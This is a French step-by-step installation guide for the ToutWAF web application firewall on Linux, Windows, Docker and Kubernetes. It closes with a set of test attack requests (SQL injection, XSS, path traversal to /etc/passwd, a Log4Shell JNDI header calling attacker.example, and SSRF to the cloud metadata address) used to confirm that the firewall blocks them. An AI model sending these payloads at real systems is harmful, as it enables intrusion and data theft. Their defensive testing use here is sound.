Installer ToutWAF pas à pas

Procédures à copier-coller pour AlmaLinux 10, les autres distributions Linux, Windows, Docker et Kubernetes. Binaires natifs : aucun runtime à installer. Puis lancez l'assistant, basculez le DNS et vérifiez.

La version que vous installez

La version publique est une version de développement, nommée 0.3.0-dev. Son nom ne change pas : chaque publication remplace la précédente, et un identifiant de build distingue deux builds. Aucune version stable n'existe encore : elle ne sera publiée que lorsque chaque système et chaque paquet auront été testés de bout en bout. Les commandes de cette page installent donc depuis le canal dev. Une version de développement peut contenir des défauts : essayez-la sur un site de test avant de vous y fier.

Prérequis

Un serveur 64 bits (amd64 ou arm64) sous Linux ou Windows, un accès root ou administrateur, et les ports 80 et 443 libres. La console écoute sur le port 9443, sous un chemin secret. Le détail des prérequis et des dépendances est juste en dessous.

Prérequis et dépendances

Ce dont votre serveur a besoin, ce que l'installeur ajoute et ce qui reste facultatif.

Systèmes pris en charge

Linux avec systemd 239 ou plus récent et glibc 2.28 ou plus récent, en amd64 ou arm64 : AlmaLinux, Rocky Linux, RHEL et Oracle Linux 8 à 10, CentOS Stream, Fedora, Amazon Linux 2023, Debian 11 à 13, Ubuntu 20.04 à 26.04, openSUSE et Arch (tableau complet plus bas). Windows 10, 11 et Server 2016 à 2025 (pas encore exécuté sur un vrai hôte Windows). L'installeur vérifie votre système avant de rien modifier. Serveurs que vous ajoutez depuis la console : l'agent existe pour Linux (amd64, arm64) et Windows (amd64).

Ports réseau

80 et 443 : trafic web (data plane). 9443 : console (modifiable avec --cp-port). 9444 : API utilisée par les nœuds data plane et les agents de serveurs ; l'installeur ne l'ouvre pas, autorisez-la uniquement depuis vos propres serveurs. 127.0.0.1:9101 : point de santé local. L'UDP 443 reste fermé (HTTP/3 n'est pas implémenté). Les agents de serveurs ne font que des connexions sortantes vers le port 9444.

Ce que fait l'installeur

Nécessite les droits root ou administrateur et un accès HTTPS sortant pour télécharger la version. Installe curl, tar et libcap s'ils manquent (et policycoreutils-python-utils sur les systèmes SELinux), crée un utilisateur toutwaf sans privilèges et un dossier d'installation unique (/var/toutwaf avec bin, conf, data et logs ; --home DIR le change, et une installation plus ancienne garde ses chemins), installe des services systemd durcis (services Windows sous Windows), autorise le data plane à écouter sur les ports 80 et 443 sans root, ouvre le pare-feu par défaut quand firewalld ou ufw est actif (80, 443 et le port de la console ; --console-from limite la console, --no-firewall désactive), étiquette les fichiers pour SELinux et vérifie les sommes SHA-256.

Langue de l'installeur

Anglais par défaut ; l'installeur détecte la langue du système. Forcez-en une avec --fr --de --es --it --pt --nl --ru --zh --ar ou --en (Windows : -Fr, etc., ou la variable TOUTWAF_LANG).

Binaires autonomes

Le data plane est écrit en Rust, le control plane et l'agent en Go, et la console est intégrée au control plane. Aucun runtime Python, Node.js ou Java et aucun serveur de base de données à installer : les données sont stockées dans SQLite. Le data plane Rust nécessite glibc 2.28 ou plus récente. Principaux composants tiers : tokio, hyper et rustls (Rust), Svelte et xterm.js (console).

Éléments facultatifs

ClamAV pour les analyses antivirus des hôtes Linux (la console peut l'installer pour vous) ; Microsoft Defender sous Windows. openssl seulement si vous activez la vérification de signature des versions, cosign seulement si vous voulez qu'il vérifie les signatures. Docker n'est pas nécessaire : les manifestes Docker et Kubernetes sont des modes de déploiement alternatifs.

ToutPanel (serveur d'hébergement web)

Installé depuis la console par SSH, ou avec son propre installeur. Linux : Debian 11 à 13, Ubuntu 20.04 à 24.04, AlmaLinux, Rocky Linux et RHEL 9 et 10, Fedora 40 et suivantes. Windows 10 et 11, Windows Server 2016 à 2025. Nécessite root et bash (Linux) ou PowerShell 5.1+ en administrateur (Windows), Python 3.9 à 3.14 (installé par son script si la distribution le fournit), 1 Go de RAM minimum (2 Go recommandés avec MariaDB et PHP), 2 Go de disque libre plus vos sites, et un accès HTTPS sortant. Son panel écoute par défaut sur le port 8888 ; les ports 80 et 443 servent les sites. Source : le README de ToutPanel.

ToutWAF ne publie pas encore de valeurs minimales de processeur, de RAM ou de disque : dimensionnez votre serveur avec un test sur votre propre trafic.

Systèmes pris en charge

Vérifiés par l'installeur avant qu'il ne modifie quoi que ce soit. Les statuts viennent des données propres de l'installeur.

  • tested Le test d'installation complet en conteneur a réussi sur cette version précise.
  • expected Même famille, glibc et systemd assez récents, mais le test complet n'a pas été exécuté.
  • unsupported Refusé avant toute modification (contournable à vos risques avec --skip-os-check).
amd64supportedarm64supportedarm32unsupported
DistributionVersions
AlmaLinux10tested9tested8tested
Rocky Linux10tested9tested8tested
Red Hat Enterprise Linux10tested9tested8tested7unsupported
CentOS Stream10tested9tested8unsupported7unsupported
Oracle Linux10tested9tested8tested7unsupported
Fedora44tested43tested42tested41tested
Amazon Linux2023tested2unsupported
Debian13tested12tested11tested10unsupported
Ubuntu26.04tested25.10tested24.04tested22.04tested20.04tested18.04unsupported
Linux Mint / LMDEtoutes versionsexpected
Pop!_OStoutes versionsexpected
Zorin OStoutes versionsexpected
elementary OStoutes versionsexpected
Kali Linuxrollingexpected
Raspberry Pi OS (32-bit, Raspbian)toutes versionsunsupported
Devuantoutes versionsunsupported
openSUSE Leap16.0tested15.6tested
openSUSE Tumbleweedrollingtested
openSUSE Slowrollrollingexpected
SUSE Linux Enterprise Server16.0expected15.7expected15.6expected
SUSE Linux Micro / MicroOS / Aeontoutes versionsunsupported
openSUSE MicroOS / Aeon / Kalpatoutes versionsunsupported
Arch Linuxrollingtested
Manjarorollingexpected
EndeavourOSrollingexpected
Garuda Linuxrollingexpected
CachyOSrollingexpected
Artix Linuxtoutes versionsunsupported
Alpine Linuxtoutes versionsunsupported
Void Linuxtoutes versionsunsupported
NixOStoutes versionsunsupported
WindowsWindows 11expectedWindows 10expectedWindows Server 2025expectedWindows Server 2022expectedWindows Server 2019expectedWindows Server 2016expected
Vérifier sans installer : sudo bash install.sh --check-compat (Windows : -CheckCompat). Le code de sortie est 0 si compatible, 3 sinon. Pour continuer à vos risques sur un système non pris en charge, utilisez --skip-os-check : ce n'est jamais silencieux, et cela ne contourne pas le refus de l'ARM 32 bits.
Raspberry Pi et autres serveurs arm64 : Raspberry Pi 3, 4, 5 et Zero 2 W exigent un OS 64 bits (Raspberry Pi OS 64 bits, Ubuntu ou Debian arm64). Le build arm64 n'a tourné que sous émulation, jamais sur du vrai matériel, et aucun benchmark n'existe. L'ARM 32 bits est refusé.
Windows 10 (1809 et suivantes), 11 et Server 2016 à 2025 sont expected : l'installeur Windows n'a pas été exécuté sur un vrai hôte Windows. Le build Windows ARM64 a seulement été compilé en croisé et n'a jamais été exécuté.
Docker : l'image tout-en-un n'a été testée que sur Linux amd64. Les Mac Apple Silicon et Intel ne sont pas testés, et macOS natif n'est pas fourni.

L'assistant de configuration : de zéro à un site protégé

Au premier lancement, l'assistant web vous mène de zéro à un site protégé, en mode détection, sans rien casser.

Domaine et origine

Saisissez le domaine public et l'adresse de votre serveur.

Certificat automatique

Un certificat de l'autorité de votre choix (Let's Encrypt par défaut) est demandé et renouvelé pour vous.

Détection de la stack

ToutWAF reconnaît WordPress, Laravel, Django et d'autres.

Modèle de politique

Un modèle adapté est proposé. Relisez-le ou gardez celui par défaut.

Mode détection

Le trafic est analysé sans blocage pendant quelques jours, puis un rapport est établi.

Passage en blocage

Un clic pour appliquer, un clic pour revenir en arrière.

Rapport de détection après 7 jours (exemple)
  • ✓99,8 % du trafic serait autorisé
  • !3 règles causent 95 % des faux positifs
  • ✓3 exceptions proposées, prêtes à être validées

Mettre à jour le système et installer les prérequis

bash
sudo dnf -y update
sudo dnf -y install curl tar ca-certificates firewalld policycoreutils-python-utils

Installer avec le script en une ligne

Le script télécharge les binaires natifs adaptés à votre architecture, crée un utilisateur dédié sans privilèges et installe les services systemd durcis toutwaf-dp (plan de données, ports 80 et 443) et toutwaf-cp (plan de contrôle et console, port 9443), puis affiche vos informations de première connexion.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash

Vous préférez lire le script d'abord ?

Téléchargez-le, relisez-le, puis exécutez-le. Recommandé pour les serveurs de production.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.sh

Options de l'installeur

Une nouvelle installation tient dans un seul dossier, /var/toutwaf (bin, conf, data et logs ; changez-le avec --home DIR ou TOUTWAF_HOME), et les outils en ligne de commande sont liés dans /usr/local/bin. Une installation plus ancienne garde ses propres chemins (/etc/toutwaf, /var/lib/toutwaf) et n'est jamais déplacée.

options
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24

# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf

# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel dev

Ouvrir le pare-feu

L'installeur ouvre ces ports par défaut quand firewalld ou ufw est actif : 80 et 443, et le port 9443 de la console (limitez-le à votre réseau d'administration avec --console-from). Le port 9444 des agents n'est jamais ouvert au public. Ces commandes ne servent qu'avec --no-firewall, avec un autre pare-feu, ou pour le faire à la main.

firewalld
sudo systemctl enable --now firewalld
sudo firewall-cmd --permanent --add-service=http --add-service=https
sudo firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="203.0.113.0/24" port port="9443" protocol="tcp" accept'
sudo firewall-cmd --reload
sudo firewall-cmd --list-all

SELinux

Gardez SELinux en mode enforcing. Étiquetez les répertoires de ToutWAF et vérifiez qu'aucun refus AVC n'est journalisé.

selinux
getenforce
sudo restorecon -Rv /var/toutwaf
sudo ausearch -m avc -ts recent

Gérer les services

Les deux services démarrent au boot. Utilisez ces commandes pour les démarrer, les arrêter ou les redémarrer.

systemd
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cp

Vérifier les services

bash
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pager

Mettre à jour

Sauvegardez la configuration et les données, puis relancez l'installeur : il conserve vos paramètres et revient en arrière tout seul si la nouvelle version ne devient pas saine. Les chemins affichés sont ceux d'une nouvelle installation (/var/toutwaf) ; une installation plus ancienne garde /etc/toutwaf et /var/lib/toutwaf. Vous pouvez aussi mettre à jour depuis la console, page Mises à jour.

bash
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthz

Désinstaller

Le premier bloc supprime les services, les binaires et les règles de pare-feu ajoutées par ToutWAF, et conserve vos données. Le second supprime aussi la configuration, les données et les journaux.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstall
purge
sudo bash install.sh --uninstall --purge

Mettre à jour le système et installer les prérequis

Rocky Linux, RHEL 8 à 10 et les autres clones d'Enterprise Linux utilisent les mêmes commandes qu'AlmaLinux. Après l'installation, suivez les étapes firewalld et SELinux de l'onglet AlmaLinux 10.
bash
sudo dnf -y update
sudo dnf -y install curl tar ca-certificates firewalld policycoreutils-python-utils

Installer avec le script en une ligne

Le script télécharge les binaires natifs adaptés à votre architecture, crée un utilisateur dédié sans privilèges et installe les services systemd durcis toutwaf-dp (plan de données, ports 80 et 443) et toutwaf-cp (plan de contrôle et console, port 9443), puis affiche vos informations de première connexion.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash

Vous préférez lire le script d'abord ?

Téléchargez-le, relisez-le, puis exécutez-le. Recommandé pour les serveurs de production.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.sh

Options de l'installeur

Une nouvelle installation tient dans un seul dossier, /var/toutwaf (bin, conf, data et logs ; changez-le avec --home DIR ou TOUTWAF_HOME), et les outils en ligne de commande sont liés dans /usr/local/bin. Une installation plus ancienne garde ses propres chemins (/etc/toutwaf, /var/lib/toutwaf) et n'est jamais déplacée.

options
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24

# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf

# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel dev

Gérer les services

Les deux services démarrent au boot. Utilisez ces commandes pour les démarrer, les arrêter ou les redémarrer.

systemd
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cp

Vérifier les services

bash
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pager

Mettre à jour

Sauvegardez la configuration et les données, puis relancez l'installeur : il conserve vos paramètres et revient en arrière tout seul si la nouvelle version ne devient pas saine. Les chemins affichés sont ceux d'une nouvelle installation (/var/toutwaf) ; une installation plus ancienne garde /etc/toutwaf et /var/lib/toutwaf. Vous pouvez aussi mettre à jour depuis la console, page Mises à jour.

bash
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthz

Désinstaller

Le premier bloc supprime les services, les binaires et les règles de pare-feu ajoutées par ToutWAF, et conserve vos données. Le second supprime aussi la configuration, les données et les journaux.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstall
purge
sudo bash install.sh --uninstall --purge

Installer les prérequis (apt)

bash
sudo apt update && sudo apt -y upgrade
sudo apt -y install curl tar ca-certificates ufw

Installer avec le script en une ligne

Le script télécharge les binaires natifs adaptés à votre architecture, crée un utilisateur dédié sans privilèges et installe les services systemd durcis toutwaf-dp (plan de données, ports 80 et 443) et toutwaf-cp (plan de contrôle et console, port 9443), puis affiche vos informations de première connexion.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash

Vous préférez lire le script d'abord ?

Téléchargez-le, relisez-le, puis exécutez-le. Recommandé pour les serveurs de production.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.sh

Options de l'installeur

Une nouvelle installation tient dans un seul dossier, /var/toutwaf (bin, conf, data et logs ; changez-le avec --home DIR ou TOUTWAF_HOME), et les outils en ligne de commande sont liés dans /usr/local/bin. Une installation plus ancienne garde ses propres chemins (/etc/toutwaf, /var/lib/toutwaf) et n'est jamais déplacée.

options
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24

# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf

# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel dev

Ouvrir le pare-feu (ufw)

L'installeur ouvre ces ports par défaut quand firewalld ou ufw est actif : 80 et 443, et le port 9443 de la console (limitez-le à votre réseau d'administration avec --console-from). Le port 9444 des agents n'est jamais ouvert au public. Ces commandes ne servent qu'avec --no-firewall, avec un autre pare-feu, ou pour le faire à la main.

ufw
sudo ufw allow 80,443/tcp
sudo ufw allow from 203.0.113.0/24 to any port 9443 proto tcp
sudo ufw --force enable
sudo ufw status

Gérer les services

Les deux services démarrent au boot. Utilisez ces commandes pour les démarrer, les arrêter ou les redémarrer.

systemd
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cp

Vérifier les services

bash
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pager

Mettre à jour

Sauvegardez la configuration et les données, puis relancez l'installeur : il conserve vos paramètres et revient en arrière tout seul si la nouvelle version ne devient pas saine. Les chemins affichés sont ceux d'une nouvelle installation (/var/toutwaf) ; une installation plus ancienne garde /etc/toutwaf et /var/lib/toutwaf. Vous pouvez aussi mettre à jour depuis la console, page Mises à jour.

bash
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthz

Désinstaller

Le premier bloc supprime les services, les binaires et les règles de pare-feu ajoutées par ToutWAF, et conserve vos données. Le second supprime aussi la configuration, les données et les journaux.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstall
purge
sudo bash install.sh --uninstall --purge

Ouvrir PowerShell en administrateur et lancer l'installeur

Installe les binaires natifs, enregistre le service Windows ToutWAF pour le plan de données et une tâche de démarrage pour la console, et ouvre les ports du pare-feu. L'installeur n'a pas encore été exécuté sur un vrai hôte Windows.

PowerShell (Admin)
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass -Force
irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1 | iex

Ouvrir le pare-feu

L'installeur ouvre ces ports par défaut quand firewalld ou ufw est actif : 80 et 443, et le port 9443 de la console (limitez-le à votre réseau d'administration avec --console-from). Le port 9444 des agents n'est jamais ouvert au public. Ces commandes ne servent qu'avec --no-firewall, avec un autre pare-feu, ou pour le faire à la main.

PowerShell (Admin)
New-NetFirewallRule -DisplayName "ToutWAF Web" -Direction Inbound -Protocol TCP -LocalPort 80,443 -Action Allow
New-NetFirewallRule -DisplayName "ToutWAF Console" -Direction Inbound -Protocol TCP -LocalPort 9443 -RemoteAddress 203.0.113.0/24 -Action Allow

Vérifier les services

PowerShell
Get-Service ToutWAF
toutwafctl doctor
Test-NetConnection 127.0.0.1 -Port 9443

Mettre à jour

Sauvegardez la configuration et les données, puis relancez l'installeur : il conserve vos paramètres et revient en arrière tout seul si la nouvelle version ne devient pas saine. Les chemins affichés sont ceux d'une nouvelle installation (/var/toutwaf) ; une installation plus ancienne garde /etc/toutwaf et /var/lib/toutwaf. Vous pouvez aussi mettre à jour depuis la console, page Mises à jour.

PowerShell (Admin)
Copy-Item "$env:ProgramData\ToutWAF" "$env:ProgramData\ToutWAF.bak" -Recurse
& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Update -Yes

Désinstaller

Le premier bloc supprime les services, les binaires et les règles de pare-feu ajoutées par ToutWAF, et conserve vos données. Le second supprime aussi la configuration, les données et les journaux.

PowerShell (Admin)
& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Uninstall
purge
& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Uninstall -Purge

Docker Compose sur Mac ou Linux

Docker Compose sous Linux ou sur un Mac (Docker Desktop, OrbStack, Colima), avec l'image tout-en-un (plan de contrôle et plan de données). Les fichiers viennent de votre distribution ToutWAF (le dossier deploy, absent du dépôt public qui ne contient que des binaires et des installeurs). L'image embarque des binaires précompilés par architecture (bin/amd64 ou bin/arm64) et aucune image n'est encore publiée dans un registre. Testée sur Linux amd64 seulement ; non testée sur un vrai Mac, où l'IP cliente vue derrière Docker Desktop est l'adresse de la passerelle Docker. Les identifiants à usage unique apparaissent une seule fois dans le journal du plan de contrôle.

bash
cd deploy/docker
# bin/amd64/{toutwaf-cp,toutwaf-dp,toutwafctl}  (Intel Mac, Linux x86-64)
# bin/arm64/{toutwaf-cp,toutwaf-dp,toutwafctl}  (Apple Silicon, Linux ARM)
cp .env.example .env
docker compose up -d --build
docker compose logs toutwaf-cp

Mettre à jour (conteneurs)

Faites d'abord une sauvegarde. Le bouton de mise à jour de la console ne peut pas fonctionner dans un conteneur : remplacez les binaires du dossier bin (ou l'image, quand une image sera publiée) et reconstruisez ; les volumes, donc vos données, sont conservés.

bash
docker compose up -d --build

Désinstaller

Le premier bloc supprime les services, les binaires et les règles de pare-feu ajoutées par ToutWAF, et conserve vos données. Le second supprime aussi la configuration, les données et les journaux.

bash
docker compose down
purge
docker compose down -v

Installer avec Helm

Déploie le plan de données en ingress, avec un plan de contrôle dans le cluster si vous le souhaitez. Le chart et les manifestes (mode sidecar compris) sont dans le dossier deploy de votre distribution ToutWAF, pas dans le dépôt public qui ne contient que des binaires et des installeurs. L'opérateur se limite à des CRD et à une ébauche.

bash
helm install toutwaf ./deploy/helm/toutwaf --namespace toutwaf --create-namespace -f my-values.yaml

Vérifier les pods et ouvrir la console

bash
kubectl -n toutwaf get pods
kubectl -n toutwaf port-forward svc/toutwaf-cp 9443:9443

Mettre à jour (conteneurs)

Faites d'abord une sauvegarde. Le bouton de mise à jour de la console ne peut pas fonctionner dans un conteneur : remplacez les binaires du dossier bin (ou l'image, quand une image sera publiée) et reconstruisez ; les volumes, donc vos données, sont conservés.

bash
helm upgrade toutwaf ./deploy/helm/toutwaf --namespace toutwaf -f my-values.yaml

Désinstaller

Le premier bloc supprime les services, les binaires et les règles de pare-feu ajoutées par ToutWAF, et conserve vos données. Le second supprime aussi la configuration, les données et les journaux.

bash
helm uninstall toutwaf --namespace toutwaf
purge
kubectl delete namespace toutwaf

Après l'installation : configurer et vérifier

Première connexion

Ouvrez le lien secret de la console affiché à la fin de l'installation (la console ne répond que sous ce chemin), puis utilisez le lien de configuration à usage unique, ou le mot de passe administrateur généré une seule fois dans le récapitulatif. Activez tout de suite l'authentification à deux facteurs et créez un second administrateur pour ne jamais être verrouillé dehors.

console
Console : https://<server>:9443/<secret-path>/   (printed by the installer)
CLI     : toutwafctl --help
Health  : http://127.0.0.1:9101/healthz   (data plane, local only)

Ajouter votre premier site

Dans Sites, cliquez sur Nouveau site et saisissez le domaine public et l'amont (l'adresse réelle de votre serveur). Démarrez en mode détection seule, puis passez en blocage quand le rapport est propre. Les sites peuvent aussi être créés avec l'API REST et un jeton d'API.

API
curl -sk -X POST https://127.0.0.1:9443/api/v1/apps \
  -H "Authorization: Bearer $TOUTWAF_TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"name":"example.com","hostnames":["example.com"],"origins":[{"url":"http://10.0.0.12:8080"}],"mode":"detect"}'

Basculer le DNS

Abaissez le TTL de vos enregistrements la veille. Puis faites pointer les enregistrements A / AAAA du domaine vers le serveur ToutWAF. Une fois le DNS propagé, le certificat est émis. Restreignez le pare-feu de votre origine pour que seul le serveur ToutWAF puisse l'atteindre.

DNS
example.com.      300  IN  A      203.0.113.10
www.example.com.  300  IN  CNAME  example.com.
origin firewall
sudo ufw allow from 203.0.113.10 to any port 8080 proto tcp
sudo ufw deny 8080/tcp

Vérifier avec des attaques de test

Chacune de ces requêtes doit renvoyer 403 et apparaître dans Attaques (en mode blocage). Ne les lancez que sur vos propres sites.

Dans PowerShell sous Windows, appelez curl.exe plutôt que curl, qui est un alias.
curl
curl -i "https://example.com/?id=1%27%20OR%20%271%27=%271"
curl -i "https://example.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E"
curl -i --path-as-is "https://example.com/download?file=../../../../etc/passwd"
curl -i -H 'User-Agent: ${jndi:ldap://attacker.example/a}' https://example.com/
curl -i -A "sqlmap/1.7.2" https://example.com/
curl -i "https://example.com/?url=http://169.254.169.254/latest/meta-data/"
curl -i https://example.com/

Dépannage

La console est inaccessible sur le port 9443

Lancez le Docteur ToutWAF sur le serveur : il contrôle les services, les ports et le pare-feu de la machine et dit quoi faire. Il fonctionne aussi depuis la ligne de commande quand la console elle-même est injoignable ; un éventuel groupe de sécurité du cloud doit aussi laisser passer le port 9443.

Des requêtes légitimes sont bloquées (faux positifs)

Ouvrez l'événement dans Attaques, lisez l'explication, puis cliquez sur le bouton faux positif pour créer l'exception la plus étroite, ou baissez le niveau de paranoïa du site.

502 Bad Gateway

ToutWAF n'atteint pas votre origine. Ouvrez le Docteur ToutWAF, ligne « Serveur d'origine » : il dit si le port refuse la connexion, si le nom ne se résout pas ou si le certificat n'est pas de confiance, et quoi faire. Vérifiez aussi le pare-feu de l'origine.

L'émission Let's Encrypt échoue

Le Docteur ToutWAF contrôle le DNS (y compris un enregistrement AAAA oublié chez un CDN ou un proxy) et l'accessibilité du port 80 avant une commande. Pour un certificat générique, utilisez le défi DNS-01.

L'IP réelle du client est incorrecte dans mon application

Lisez l'en-tête X-Forwarded-For positionné par ToutWAF, et ne lui faites confiance que s'il provient de l'adresse du serveur ToutWAF.

Où sont les journaux ?

Utilisez les pages Journaux et Événements de la console. Les services écrivent aussi dans le journal système de la machine, et le Docteur produit un rapport texte que vous pouvez envoyer au support.

Étape suivante : lire la documentation complète